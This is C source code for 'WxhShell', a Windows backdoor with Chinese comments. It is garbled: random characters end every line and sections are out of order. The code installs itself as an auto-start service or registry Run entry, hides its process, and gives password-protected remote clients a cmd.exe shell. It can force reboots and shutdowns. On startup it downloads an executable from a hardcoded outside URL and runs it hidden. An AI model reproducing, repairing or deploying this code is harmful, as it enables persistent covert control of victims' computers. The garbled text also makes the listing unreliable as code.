    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mO]dP;,  
    else { Lrr(7cH,  
    closesocket(wsh); yqtHlz%  
    ExitThread(0); B^R44j]3"  
    } 017nhI  
    break; x6Gl|e[jv  
    } 7'{Vh{.  
  // 获取shell w&VDe(:~  
  case 's': { " L,9.b  
    CmdShell(wsh); _;S~nn  
    closesocket(wsh); P (Y\l  
    ExitThread(0); D ZH2U+K  
    break; JlRNJ#h>  
  } {KEmGHC4R  
  // 退出 eHd7fhW5  
  case 'x': { l4iklg3  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8$ X3J[_j  
    CloseIt(wsh); mC(YO y  
    break; h>!9N dzG  
    } A>FWvlLw'm  
  // 离开 1B~Z1w  
  case 'q': { "}-S%v`)z  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); +/M%%:>mY  
    closesocket(wsh); g\IwV+iDf  
    WSACleanup(); U+E9l?4R  
    exit(1); $2}%3{<j  
    break; itc\wn  
        } 0&2`)W?9  
  } `YMd0*  
  } ?FR-a Xx  
<nN# K{AH  
  // 提示信息 *_}0vd  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =1 S%E  
} )_4()#3  
  } JB.U&  
P6'Se'f8  
  return; 1_Av_X  
} -g|ji.  
H5:f&m  
// shell模块句柄 L$kB(Brw  
int CmdShell(SOCKET sock) "Y- WY,H  
{ 9ZY,T]ym?  
STARTUPINFO si; }owl7G3  
ZeroMemory(&si,sizeof(si)); [9NrPm3d  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; gA@Zx%0j  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; e :C4f  
PROCESS_INFORMATION ProcessInfo; n"Bc2}{  
char cmdline[]="cmd"; \ a(ce?C  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); S)4p'cUwq  
  return 0; $p$p C/:%  
} Y| ch ;  
#5'& |<  
// 自身启动模式 '!,(G3  
int StartFromService(void) DGS,iRLnA  
{ . sFN[>)  
typedef struct M:iH7K  
{ P*VZ$bUe5@  
  DWORD ExitStatus; x',6VTz^  
  DWORD PebBaseAddress; d~{$,"!-f  
  DWORD AffinityMask; rzLW @k  
  DWORD BasePriority; kY{$[+-jR  
  ULONG UniqueProcessId; lmL$0{Yr  
  ULONG InheritedFromUniqueProcessId; # h4FLF_w  
}   PROCESS_BASIC_INFORMATION; Ud e?[6  
BHZhdm@),  
PROCNTQSIP NtQueryInformationProcess; Z,Us<du  
W7!iYxO  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )4c?BCgy  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; SO[ u4b_"h  
*)6\ V}`  
  HANDLE             hProcess; &;L=f;   
  PROCESS_BASIC_INFORMATION pbi; :Q@/F;Z?  
;DR5?N/a  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 1<_/Qu>V  
  if(NULL == hInst ) return 0; uN>5Eh&=Pf  
W\;|mEEu  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); P?P.QK  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (}.MB3`#C  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); w-LENdw  
$gD8[NAIx=  
  if (!NtQueryInformationProcess) return 0; /S1/ZI  
JPng !tvR  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @h!Z0}d X(  
  if(!hProcess) return 0; ;+6><O!G  
}*xjO/Ey  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; !U1 vW}H  
U"+W)rUd  
  CloseHandle(hProcess); N)R5#JX  
@|Yn~PwKs  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1 ptyiy  
if(hProcess==NULL) return 0; m_@XoS yxI  
v:yU+s|kN  
HMODULE hMod; : MjDcI~  
char procName[255]; ]W`?0VwF  
unsigned long cbNeeded; q#8yU\J|,  
J@6j^U  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3,6f}:CG  
OWT%XUW=  
  CloseHandle(hProcess); dr:x0>  
dpylJ2  
if(strstr(procName,"services")) return 1; // 以服务启动 gBcs  
]77f`<q<}!  
  return 0; // 注册表启动 L+<h 5>6  
} T]-MrnO  
wL="p) TO.  
// 主模块 4R\jZ@D  
int StartWxhshell(LPSTR lpCmdLine) 2bG3&G  
{ +,LWyvc'  
  SOCKET wsl; [X!w@d= i  
BOOL val=TRUE; }_XiRm<  
  int port=0; *URT-+'  
  struct sockaddr_in door; -9,~b9$  
5:f!EMb  
  if(wscfg.ws_autoins) Install(); 2HN*j~>i~  
igk<]AwxS  
port=atoi(lpCmdLine); L8Tm8)  
7_76X)gIV  
if(port<=0) port=wscfg.ws_port; 2[qfF6FHA  
SM4`Hys;p  
  WSADATA data; ~h;   
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 2J&~b8:  
p8%qU>~+4  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   e7xBi!I)~  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); W3/bM>1  
  door.sin_family = AF_INET; rMbq_5}  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); VYkh@j  
  door.sin_port = htons(port); \+O.vRc"M  
Fw\Z[nh  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { u*)/e9C  
closesocket(wsl); ~at@3j}W  
return 1; 2WFZ6  
} ;6[6~L%K}  
hoqZb<:  
  if(listen(wsl,2) == INVALID_SOCKET) { Rq5'=L  
closesocket(wsl); 5buW\_G)  
return 1; U\?D;ABQ%  
} K%\r[NF  
  Wxhshell(wsl); Nb&j?./  
  WSACleanup(); ?0qD(cfx<  
/)Cfm1$ic  
return 0; <Q9l'u]3$c  
D`a6D  
} Nbd4>M<  
lTMY|{9  
// 以NT服务方式启动 CE`]X;#y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) qs ep9z.  
{ 0@-4.IHl  
DWORD   status = 0; VGeTX 4h  
  DWORD   specificError = 0xfffffff; rAu% bF  
OlRXgJ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; : x&R'wX-  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; CsA(oX  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 3&^hf^yg  
  serviceStatus.dwWin32ExitCode     = 0; V&nB*U&s"  
  serviceStatus.dwServiceSpecificExitCode = 0; F%|P#CaB  
  serviceStatus.dwCheckPoint       = 0; 1Z< ^8L<  
  serviceStatus.dwWaitHint       = 0; ]i.N'O<p  
7! >0  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); r{R<J?Y  
  if (hServiceStatusHandle==0) return; y2_rm   
3)EJws!  
status = GetLastError(); <!Cjq,Sk7  
  if (status!=NO_ERROR) 1DB{"8ov  
{ 'cpm 4mT  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; O3o ^%0  
    serviceStatus.dwCheckPoint       = 0; 1,+<|c)T?  
    serviceStatus.dwWaitHint       = 0; .8|wc  
    serviceStatus.dwWin32ExitCode     = status; )hrsA&1w  
    serviceStatus.dwServiceSpecificExitCode = specificError; #("M4}~  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); rH`\UZ{cc  
    return; q!:dZES  
  } i|1*bZ6'  
*0>`XK$mWo  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; nKm# kb  
  serviceStatus.dwCheckPoint       = 0; 7?whxi Qs  
  serviceStatus.dwWaitHint       = 0; (&SU)Uvu  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); LsWD^JE.  
} $VHIU1JjZ  
9-T<gYl  
// 处理NT服务事件,比如:启动、停止 2]mV9B   
VOID WINAPI NTServiceHandler(DWORD fdwControl) =6dAF"b)  
{ ]%A> swCpn  
switch(fdwControl) %JE>Z]  
{ RlL ]p`g  
case SERVICE_CONTROL_STOP: gvR]"h  
  serviceStatus.dwWin32ExitCode = 0; VEh9N  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; g&  e u  
  serviceStatus.dwCheckPoint   = 0; @bA5uY!  
  serviceStatus.dwWaitHint     = 0; J]TqH`MA  
  { cOV9g)7^O  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?2&= +QaT  
  } ts,r,{  
  return; Qz[^J  
case SERVICE_CONTROL_PAUSE: <8b1OdA  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 1GK.:s6.f  
  break; Mm@G{J\\  
case SERVICE_CONTROL_CONTINUE: 1jd{AqHl  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 4tCM 2it%  
  break; ar<8wq<4G  
case SERVICE_CONTROL_INTERROGATE: kC.!cPd  
  break; )K{s^]Jp  
}; )7*'r@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $97O7j@  
} 6HK1?  
X~jdOaq{F:  
// 标准应用程序主函数 %FYhq:j  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *eoH"UFYQ#  
{ eY :"\c3  
9\.0v{&v  
// 获取操作系统版本 N-upNuv  
OsIsNt=GetOsVer(); ,7j8+p|},  
GetModuleFileName(NULL,ExeFile,MAX_PATH); G~1;_'  
`w 6Qsah  
  // 从命令行安装 3cghg._  
  if(strpbrk(lpCmdLine,"iI")) Install(); yo#r^iAr  
O(W"QY  
  // 下载执行文件 b 5|*p(7[  
if(wscfg.ws_downexe) { p*c(dkOe8  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) "BSY1?k{  
  WinExec(wscfg.ws_filenam,SW_HIDE); 8S#$'2sT  
} C!^A\T7p  
z)C}}NH*!@  
if(!OsIsNt) { zj r($?  
// 如果时win9x,隐藏进程并且设置为注册表启动 DYf2V6'  
HideProc(); iXm&\.%  
StartWxhshell(lpCmdLine); 16/  V5  
} ?IAu,s*u  
else bpBn3f`?*  
  if(StartFromService()) dnLjcHFj&  
  // 以服务方式启动 "]=OR>  
  StartServiceCtrlDispatcher(DispatchTable); F)cCaE;  
else [nxYfER7  
  // 普通方式启动 n' mrLZw  
  StartWxhshell(lpCmdLine); <}WSYK,zUY  
+1T>Ob;hk  
return 0; z|3v~,  
} (@} ^ 3jpT  
H7+z"^s*  
?Vg~7Eu0  
nqH[ y0  
=========================================== E9\"@wu[d  
(X@\2M4@T#  
T@ESMPeU:X  
5Yv*f:  
F8?,}5j  
 s;bGg  
" sX6\AYF1M  
{oY"CZ2  
#include <stdio.h> CCG 5:xS  
#include <string.h> 9mHCms  
#include <windows.h> Mi.2 >  
#include <winsock2.h> qWW\d' , .  
#include <winsvc.h> P\Qvj7_  
#include <urlmon.h> Vw w 211  
vx?KenO}  
#pragma comment (lib, "Ws2_32.lib") o+hp#e  
#pragma comment (lib, "urlmon.lib") ?M'CTz}<\  
eWqS]cM#  
#define MAX_USER   100 // 最大客户端连接数 7Z2D}O +  
#define BUF_SOCK   200 // sock buffer uH$hMg  
#define KEY_BUFF   255 // 输入 buffer ?H8w;Csq-  
di_UJ~  
#define REBOOT     0   // 重启 |rJN  
#define SHUTDOWN   1   // 关机 X$==J St  
9K}DmS  
#define DEF_PORT   5000 // 监听端口 6?}|@y^fb  
{s@!N  
#define REG_LEN     16   // 注册表键长度 " oxUKT  
#define SVC_LEN     80   // NT服务名长度 H$ nzyooh  
7|=SZ+g  
// 从dll定义API HAE$Np|>a  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); l1zPL3"u_^  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); aT2%Az@j  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \68bXY.  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); gAvNm[=wD2  
/|U;_F Pmc  
// wxhshell配置信息 ,+BFpN'  
struct WSCFG { w$$pTk|&n  
  int ws_port;         // 监听端口 ]NaH *\q  
  char ws_passstr[REG_LEN]; // 口令 R|Bi%q|4P  
  int ws_autoins;       // 安装标记, 1=yes 0=no /b{@']  
  char ws_regname[REG_LEN]; // 注册表键名 nZj&Ma7R  
  char ws_svcname[REG_LEN]; // 服务名 Kc] GE#~g  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 0KExB{K  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 TQt[he$O  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 -d!84_d9  
int ws_downexe;       // 下载执行标记, 1=yes 0=no )LG!"~qiz  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" g#{7qmM  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 w,6gnO  
Zu#^a|PE*  
}; 68~]_r.a  
W"/,<xHuh  
// default Wxhshell configuration M| }?5NS  
struct WSCFG wscfg={DEF_PORT, O:V.;q2]U  
    "xuhuanlingzhe", c;b<z|}z  
    1, Y"5FK  
    "Wxhshell", G| &$/]~  
    "Wxhshell", +tkm,>s  
            "WxhShell Service", #( 4)ps.  
    "Wrsky Windows CmdShell Service", hHEn  
    "Please Input Your Password: ", U>b.MIBX  
  1, p*$=EomY  
  "http://www.wrsky.com/wxhshell.exe", =`}|hI   
  "Wxhshell.exe" >PWDo  
    }; qoQ,3&<  
5#_GuL%  
// 消息定义模块 }+NlY D:qF  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |.~2C1 4[  
char *msg_ws_prompt="\n\r? for help\n\r#>"; q2Gm8>F1y.  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; AA|G &&1y  
char *msg_ws_ext="\n\rExit."; S2I{?y&K  
char *msg_ws_end="\n\rQuit."; hNcEBSQ  
char *msg_ws_boot="\n\rReboot..."; bA"*^"^  
char *msg_ws_poff="\n\rShutdown..."; v~^*L iP+  
char *msg_ws_down="\n\rSave to "; A9HgABhax  
-oju-gf K  
char *msg_ws_err="\n\rErr!"; 7m(9|Y:Q.  
char *msg_ws_ok="\n\rOK!"; a$11u.\q+  
XX1Iw {o9:  
char ExeFile[MAX_PATH]; %E":Wv  
int nUser = 0; 0oyZlv*  
HANDLE handles[MAX_USER]; XC[AJ!q`  
int OsIsNt; NUY sQO)  
7B gA+Fz  
SERVICE_STATUS       serviceStatus; Xs4G#QsA J  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; DQ6pe)E|  
Gnqun%  
// 函数声明 <~5$<L4  
int Install(void); w\a9A#v,  
int Uninstall(void); Ga"<qmLMc  
int DownloadFile(char *sURL, SOCKET wsh); U,2\ TBz  
int Boot(int flag); {bp~_`O  
void HideProc(void); `t #I e *  
int GetOsVer(void); m,]h7xx  
int Wxhshell(SOCKET wsl); _@]@&^K$E  
void TalkWithClient(void *cs); bJ.68643  
int CmdShell(SOCKET sock); TSd;L u%hr  
int StartFromService(void); 4[LzjC  
int StartWxhshell(LPSTR lpCmdLine); x6~`{N1N M  
1'J|yq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); pdR&2fp  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~Ywto  
8:UV;5@  
// 数据结构和表定义 ^p7Er!  
SERVICE_TABLE_ENTRY DispatchTable[] = qg-?Z,EB  
{ CbRl/ 68HY  
{wscfg.ws_svcname, NTServiceMain}, )x&}{k6 %  
{NULL, NULL} D\G P+Ota  
}; BB m;QOBU  
uJHf6Ye  
// 自我安装 LMte,zs>  
int Install(void) R*psL&N  
{ 8|p*T&Cn&  
  char svExeFile[MAX_PATH]; 9G}Crp  
  HKEY key; X5D}<J2"  
  strcpy(svExeFile,ExeFile); -J*jW N!  
fDY#&EO: %  
// 如果是win9x系统,修改注册表设为自启动 i(XqoR-x  
if(!OsIsNt) { CVBy&o"6A  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U ()36  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8MPXrc,9-  
  RegCloseKey(key); 9ozUg,+Z|J  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { lGr(GHn  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [Y]\sF;J  
  RegCloseKey(key); :Yqi5CR  
  return 0; 3 a G?^z  
    } %t^-Guz  
  } Y/_b~Ahn  
}  qTL]  
else { .DSmy\FI5  
jDO[u!J6.%  
// 如果是NT以上系统,安装为系统服务 bR!*z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ?F9:rUyN  
if (schSCManager!=0) H:BWv08~5  
{ ^SKuX?f\  
  SC_HANDLE schService = CreateService o4CgtqRs  
  ( 2!b+}+:  
  schSCManager, F+!K9(`|  
  wscfg.ws_svcname, 'J&$L c  
  wscfg.ws_svcdisp, zviEk/:zm  
  SERVICE_ALL_ACCESS, SablF2doa  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , w QX,a;Br  
  SERVICE_AUTO_START, fE;<)tU  
  SERVICE_ERROR_NORMAL, g9`z]qGWS:  
  svExeFile, /8i3I5*  
  NULL, T8 ,?\7)S9  
  NULL, j ,' $i[F'  
  NULL, OFTyN^([@  
  NULL, E}d@0C:  
  NULL emo@&6*  
  ); `r:n[N=Y&  
  if (schService!=0) XP"lqyAi  
  { Yp1;5Bbp  
  CloseServiceHandle(schService); $]eITyC`P  
  CloseServiceHandle(schSCManager); 6;g"`l51  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); /[iqga=  
  strcat(svExeFile,wscfg.ws_svcname); %o4ZD7@ '  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { w]hs1vch  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); >weY_%a  
  RegCloseKey(key); .|Pq!uLvc  
  return 0; =1noT)gC R  
    } qcSlY&6+  
  } }]ak6'|[  
  CloseServiceHandle(schSCManager); 3: 'eZ cM  
} G'oMZb ({=  
} /*)zQ?N  
?32gug\i'}  
return 1; Lj"@JF;c  
} N,9W18 @  
^u@"L  
// 自我卸载 diF-`~  
int Uninstall(void) !=7 (3< ?  
{ |N%?7PZ(  
  HKEY key; J3OxM--8"  
LD]a!eY  
if(!OsIsNt) { *w> dT  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { mhZ{}~  
  RegDeleteValue(key,wscfg.ws_regname); 6;WfsG5  
  RegCloseKey(key); DlHt#Ob7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 04`2MNfxG  
  RegDeleteValue(key,wscfg.ws_regname); [&e|:1  
  RegCloseKey(key); q#RUL!WF7U  
  return 0; N?Byp&rqI<  
  } V(hM@ztN  
} 5G!0Yy['  
} $]v=2j  
else { x3j)'`=15  
kjVUG >e>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); a<c]N:1  
if (schSCManager!=0) xeo5)  
{ r%`g` It  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); vGe];  
  if (schService!=0) 5bKBVkJ'  
  { ,E8:!r)6  
  if(DeleteService(schService)!=0) { w; [ndZCY7  
  CloseServiceHandle(schService); Q&j-a;L  
  CloseServiceHandle(schSCManager); `1}WQS  
  return 0; #m x4pf{  
  } :G3PdQb^  
  CloseServiceHandle(schService); = <yMB d\  
  } {)V!wSi  
  CloseServiceHandle(schSCManager); Q=YIAGK  
} O+iNR9O  
} X:N`x  
} Xbmb8  
return 1; > 2)@(f~g  
}  |2<y  
O52B  
// 从指定url下载文件 pco:]3BF6  
int DownloadFile(char *sURL, SOCKET wsh) 'e&L53n  
{ 0d>|2QV   
  HRESULT hr; .r ,wc*SF  
char seps[]= "/"; / thFs4  
char *token; dC'8orFG+  
char *file; k4N_Pa$}\  
char myURL[MAX_PATH]; %mqep5n(  
char myFILE[MAX_PATH]; {lam],#r  
\#50; 8VJ  
strcpy(myURL,sURL); k)j6rU  
  token=strtok(myURL,seps); u[:-^H  
  while(token!=NULL) V^* ];`^  
  { s9#WkDR  
    file=token; '6g;UOx^=  
  token=strtok(NULL,seps); ~,^pya  
  } :)9CG!2y<M  
.-Z=Aa>  
GetCurrentDirectory(MAX_PATH,myFILE); v(0IQ  
strcat(myFILE, "\\"); 6o:b(v&Oo  
strcat(myFILE, file);  !n`9V^`  
  send(wsh,myFILE,strlen(myFILE),0); I K9plsd*  
send(wsh,"...",3,0); oV/:T\Qn=  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ;B^ 9sr  
  if(hr==S_OK) SO|!x}GfI  
return 0; pyw]ydB  
else 2y"L&3W  
return 1; 7v']wA r]  
 l;;,[xhq  
} 2%?Kc]JY9  
"F[e~S#V*  
// 系统电源模块 w,T-vf  
int Boot(int flag) gB<1;_KW  
{ 8l>7=~Egp  
  HANDLE hToken; d53Eu`QW?  
  TOKEN_PRIVILEGES tkp; P7 h^!a/  
Leu6kPk  
  if(OsIsNt) { +xL' LC x  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); t5aX9WIW  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 1Y:JGon  
    tkp.PrivilegeCount = 1; *ZkOZ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; []-<-TqJ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2RU/oqmR  
if(flag==REBOOT) { 6fm oI K{  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) HIq e~Vc  
  return 0; 6Z@?W  
} a9uMgx}  
else { F2>W{-H+  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Wh)>E!~ 9  
  return 0; \nUJ)w  
} \IhHbcF`d  
  } \"a~~Koe  
  else { s7(1|}jh  
if(flag==REBOOT) { HPY;U N  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) .wO-2h{Q  
  return 0; V 7oE\cxr  
} hZ|8mV  
else { #~o<9O  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) uO((Mg  
  return 0; gg.lajX  
} t=\ ffpA  
} ,z01 *Yx  
^)o#/"JA  
return 1; *^iSP(dg  
} gDjAnz#  
5`6U:MDq  
// win9x进程隐藏模块 \8)FVpS  
void HideProc(void) ;*{Ls#  
{ u"F{cA!B  
oT!i}TW?o  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); R"{P#U,HNO  
  if ( hKernel != NULL ) ezA&cZ5  
  { g^{a;=  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); N>iNz[a q  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); U1D;O}z~  
    FreeLibrary(hKernel); d/b\:[B@  
  } Z6nQW53-  
mMT\"bb'  
return; w ^ X@PpP  
} n0)y|B#  
{*"\6 8e  
// 获取操作系统版本 d 1 O+qS  
int GetOsVer(void) Pu}PE-b  
{ 'EB5#  
  OSVERSIONINFO winfo; ,]4.|A_[Rq  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); m@yx6[E#  
  GetVersionEx(&winfo); n*hRlL  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) T'7x,8&2|  
  return 1; ah!fQLMH  
  else LufZ,  
  return 0; bQwiJ`B&  
} G 'CYvV  
C7!=LiK}  
// 客户端句柄模块 u]<`y6=&C  
int Wxhshell(SOCKET wsl) t`0(5v  
{ gWy2E;"a  
  SOCKET wsh; BgwZZ<B  
  struct sockaddr_in client; ?D]T| =EZY  
  DWORD myID; HgRfMiC  
)Ju$PrO  
  while(nUser<MAX_USER) tHo/Vly6Z  
{ cx4'rK.  
  int nSize=sizeof(client); NAfu$7  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); `=#ry*E^:  
  if(wsh==INVALID_SOCKET) return 1; "Oy&6rrr  
<~Tfi*^+  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Q$2^m(?;  
if(handles[nUser]==0) D"n 3If%  
  closesocket(wsh); |Vc:o_n7  
else ~{s7(^ P  
  nUser++; ]TKM.[[  
  } }u'O<d~z?  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ?T:$:IHw  
A\<WnG>xjP  
  return 0; 2n5{H fpY  
} [u`9R<>c"U  
J""N:X!1  
// 关闭 socket %LZf= `:(  
void CloseIt(SOCKET wsh) L QP4#7  
{ PRF^<%mkI  
closesocket(wsh); s)|l-I  
nUser--; :#p!&Fi  
ExitThread(0); VUGVIy.  
} -%)8=  
w~=@+U$f  
// 客户端请求句柄 &:*|KxX  
void TalkWithClient(void *cs) dNcP_l/A  
{ }!g^}BWWp  
*G0r4Ui$  
  SOCKET wsh=(SOCKET)cs; b."1p7'  
  char pwd[SVC_LEN]; o*WI*Fb'  
  char cmd[KEY_BUFF]; ] Q\/si&  
char chr[1]; 1~P ^ g`  
int i,j; H"> }y D  
nxh9'"th  
  while (nUser < MAX_USER) { % z:;t  
&za~=+  
if(wscfg.ws_passstr) { c\pPwG  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); s"\o6r ,  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1~#p3)B  
  //ZeroMemory(pwd,KEY_BUFF); *QpKeI  
      i=0; a<K@rgQ  
  while(i<SVC_LEN) { x?|   
-!]dU`:(X  
  // 设置超时 %L$P']%t@  
  fd_set FdRead; 0Ie9T1D=  
  struct timeval TimeOut; #5x[Z[m  
  FD_ZERO(&FdRead); Zj8aD-1]U^  
  FD_SET(wsh,&FdRead); X pd^^  
  TimeOut.tv_sec=8; xl$#00|y  
  TimeOut.tv_usec=0; (_ElM>  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); }Ik{tUS$  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); \'40u|f  
>K9uwUi|b]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); j@b4)t  
  pwd=chr[0]; ctL@&~*nY  
  if(chr[0]==0xd || chr[0]==0xa) { ryq95<lF  
  pwd=0; \ oIVE+L/P  
  break; \i=,[8t[r  
  } ivbuS-f =r  
  i++; -)tu$W*  
    } 0VB~4NNR  
FPu"/4v&  
  // 如果是非法用户,关闭 socket aMFUJrXo  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); r^k:$wJbRK  
} )[>b7K$f  
Z?5kO-[  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); G8lR_gD"!  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8uX1('+T*  
%Y` @>P'  
while(1) { & ;+u.X  
qlSc[nEk  
  ZeroMemory(cmd,KEY_BUFF); $3sS&i<  
"K z=Z C  
      // 自动支持客户端 telnet标准   1Q6WpS  
  j=0; XnQo0 R.PW  
  while(j<KEY_BUFF) { >'@yq  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P.RlozF5;  
  cmd[j]=chr[0]; RvYH(!pQ  
  if(chr[0]==0xa || chr[0]==0xd) { $@t-Oor;  
  cmd[j]=0; '@u/] ra:  
  break; V,($I'&/  
  } b$nXljV4?  
  j++; 9LGJ-gL  
    } OZ1+`4 v  
PqIGc  
  // 下载文件 QtQku1{  
  if(strstr(cmd,"http://")) { \c+)Y}:D  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); m El*{]  
  if(DownloadFile(cmd,wsh)) Z xLjh  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); dx@#6Fhy  
  else \CL |=8[2  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N G1]!Vz5  
  } d+%1q  
  else { O k_I}X  
:*e0Z2=  
    switch(cmd[0]) { 86~HkHliv  
